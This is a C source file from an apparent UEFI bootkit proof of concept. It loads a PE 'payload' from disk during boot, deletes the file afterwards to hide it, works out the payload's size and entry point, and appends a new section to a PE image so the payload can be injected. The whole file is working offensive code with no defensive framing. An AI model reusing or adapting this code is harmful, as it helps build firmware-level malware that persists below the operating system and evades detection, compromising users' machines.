You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

162 lines
5.6 KiB

#include "PayLoad.h"
// this can also just be set at compile time if you want too, but for PoC im going
// to read the payload from disk and delete it after...
VOID* PayLoad = NULL;
UINT32 PayLoadSize(VOID)
{
EFI_IMAGE_DOS_HEADER* RecordDosImageHeader = PayLoad;
if (RecordDosImageHeader->e_magic != EFI_IMAGE_DOS_SIGNATURE)
return NULL;
EFI_IMAGE_NT_HEADERS64* RecordNtHeaders = (UINT64)RecordDosImageHeader + RecordDosImageHeader->e_lfanew;
if (RecordNtHeaders->Signature != EFI_IMAGE_NT_SIGNATURE)
return NULL;
return RecordNtHeaders->OptionalHeader.SizeOfImage + 0x1000;
}
VOID* PayLoadEntry(VOID* ModuleBase)
{
EFI_IMAGE_DOS_HEADER* RecordDosImageHeader = PayLoad;
if (RecordDosImageHeader->e_magic != EFI_IMAGE_DOS_SIGNATURE)
return NULL;
EFI_IMAGE_NT_HEADERS64* RecordNtHeaders = (UINT64)RecordDosImageHeader + RecordDosImageHeader->e_lfanew;
if (RecordNtHeaders->Signature != EFI_IMAGE_NT_SIGNATURE)
return NULL;
return (UINT64)ModuleBase + RecordNtHeaders->OptionalHeader.AddressOfEntryPoint;
}
// programmed by: hMihaiDavid
// taken from: https://github.com/hMihaiDavid/addscn/blob/master/addscn/addscn.cpp#L89
VOID* AddSection(VOID* ImageBase, CHAR8* SectionName, UINT32 VirtualSize, UINT32 Characteristics)
{
EFI_IMAGE_DOS_HEADER* dosHeader = (EFI_IMAGE_DOS_HEADER*)ImageBase;
EFI_IMAGE_NT_HEADERS64* ntHeaders = (EFI_IMAGE_NT_HEADERS64*)((UINT64)ImageBase + dosHeader->e_lfanew);
UINT16 sizeOfOptionalHeader = ntHeaders->FileHeader.SizeOfOptionalHeader;
EFI_IMAGE_FILE_HEADER* fileHeader = &(ntHeaders->FileHeader);
EFI_IMAGE_SECTION_HEADER* firstSectionHeader =
(EFI_IMAGE_SECTION_HEADER*)(((UINT64)fileHeader) +
sizeof(EFI_IMAGE_FILE_HEADER) + sizeOfOptionalHeader);
UINT32 numberOfSections = ntHeaders->FileHeader.NumberOfSections;
UINT32 sectionAlignment = ntHeaders->OptionalHeader.SectionAlignment;
UINT32 fileAlignment = ntHeaders->OptionalHeader.FileAlignment;
EFI_IMAGE_SECTION_HEADER* newSectionHeader = &firstSectionHeader[numberOfSections];
EFI_IMAGE_SECTION_HEADER* lastSectionHeader = &firstSectionHeader[numberOfSections - 1];
MemCopy(&newSectionHeader->Name, SectionName, AsciiStrLen(SectionName));
newSectionHeader->Misc.VirtualSize = VirtualSize;
newSectionHeader->VirtualAddress =
P2ALIGNUP(lastSectionHeader->VirtualAddress +
lastSectionHeader->Misc.VirtualSize, sectionAlignment);
newSectionHeader->SizeOfRawData = P2ALIGNUP(VirtualSize, fileAlignment);
newSectionHeader->Characteristics = Characteristics;
newSectionHeader->PointerToRawData =
(UINT32)(lastSectionHeader->PointerToRawData +
lastSectionHeader->SizeOfRawData);
++ntHeaders->FileHeader.NumberOfSections;
ntHeaders->OptionalHeader.SizeOfImage =
P2ALIGNUP(newSectionHeader->VirtualAddress +
newSectionHeader->Misc.VirtualSize, sectionAlignment);
return ((UINT64)ImageBase) + newSectionHeader->VirtualAddress;
}
EFI_STATUS LoadPayLoadFromDisk(VOID** PayLoadBufferPtr)
{
EFI_STATUS Result = EFI_SUCCESS;
UINTN HandleCount = NULL;
EFI_HANDLE* Handles = NULL;
EFI_FILE_HANDLE VolumeHandle;
EFI_FILE_HANDLE PayLoadFileHandle;
EFI_DEVICE_PATH* PayLoadDevicePath = NULL;
EFI_FILE_IO_INTERFACE* FileSystem = NULL;
EFI_FILE_PROTOCOL* PayLoadFile = NULL;
if (EFI_ERROR((Result = gBS->LocateHandleBuffer(ByProtocol, &gEfiSimpleFileSystemProtocolGuid, NULL, &HandleCount, &Handles))))
{
Print(L"error getting file system handles -> 0x%p\n", Result);
return Result;
}
for (UINT32 Idx = 0u; Idx < HandleCount; ++Idx)
{
if (EFI_ERROR((Result = gBS->OpenProtocol(Handles[Idx], &gEfiSimpleFileSystemProtocolGuid, (VOID**)&FileSystem, gImageHandle, NULL, EFI_OPEN_PROTOCOL_GET_PROTOCOL))))
{
Print(L"error opening protocol -> 0x%p\n", Result);
return Result;
}
if (EFI_ERROR((Result = FileSystem->OpenVolume(FileSystem, &VolumeHandle))))
{
Print(L"error opening file system -> 0x%p\n", Result);
return Result;
}
if (!EFI_ERROR((Result = VolumeHandle->Open(VolumeHandle, &PayLoadFileHandle, PAYLOAD_PATH, EFI_FILE_MODE_READ, EFI_FILE_READ_ONLY))))
{
VolumeHandle->Close(VolumeHandle);
PayLoadDevicePath = FileDevicePath(Handles[Idx], PAYLOAD_PATH);
if (EFI_ERROR((Result = EfiOpenFileByDevicePath(&PayLoadDevicePath, &PayLoadFile, EFI_FILE_MODE_WRITE | EFI_FILE_MODE_READ, NULL))))
{
Print(L"failed to open payload file... reason -> %r\n", Result);
return Result;
}
EFI_FILE_INFO* FileInfoPtr = NULL;
UINTN FileInfoSize = NULL;
if (EFI_ERROR((Result = PayLoadFile->GetInfo(PayLoadFile, &gEfiFileInfoGuid, &FileInfoSize, NULL))))
{
if (Result == EFI_BUFFER_TOO_SMALL)
{
gBS->AllocatePool(EfiBootServicesData, FileInfoSize, &FileInfoPtr);
if (EFI_ERROR(Result = PayLoadFile->GetInfo(PayLoadFile, &gEfiFileInfoGuid, &FileInfoSize, FileInfoPtr)))
{
Print(L"get backup file information failed... reason -> %r\n", Result);
return Result;
}
}
else
{
Print(L"Failed to get file information... reason -> %r\n", Result);
return Result;
}
}
VOID* PayLoadBuffer = NULL;
UINTN PayLoadSize = FileInfoPtr->FileSize;
gBS->AllocatePool(EfiBootServicesData, FileInfoPtr->FileSize, &PayLoadBuffer);
if (EFI_ERROR((Result = PayLoadFile->Read(PayLoadFile, &PayLoadSize, PayLoadBuffer))))
{
Print(L"Failed to read payload file into buffer... reason -> %r\n", Result);
return Result;
}
if (EFI_ERROR((Result = PayLoadFile->Delete(PayLoadFile))))
{
Print(L"unable to delete payload file... reason -> %r\n", Result);
return Result;
}
*PayLoadBufferPtr = PayLoadBuffer;
gBS->FreePool(FileInfoPtr);
return EFI_SUCCESS;
}
}
Print(L"unable to find payload on disk...\n");
return EFI_ABORTED;
}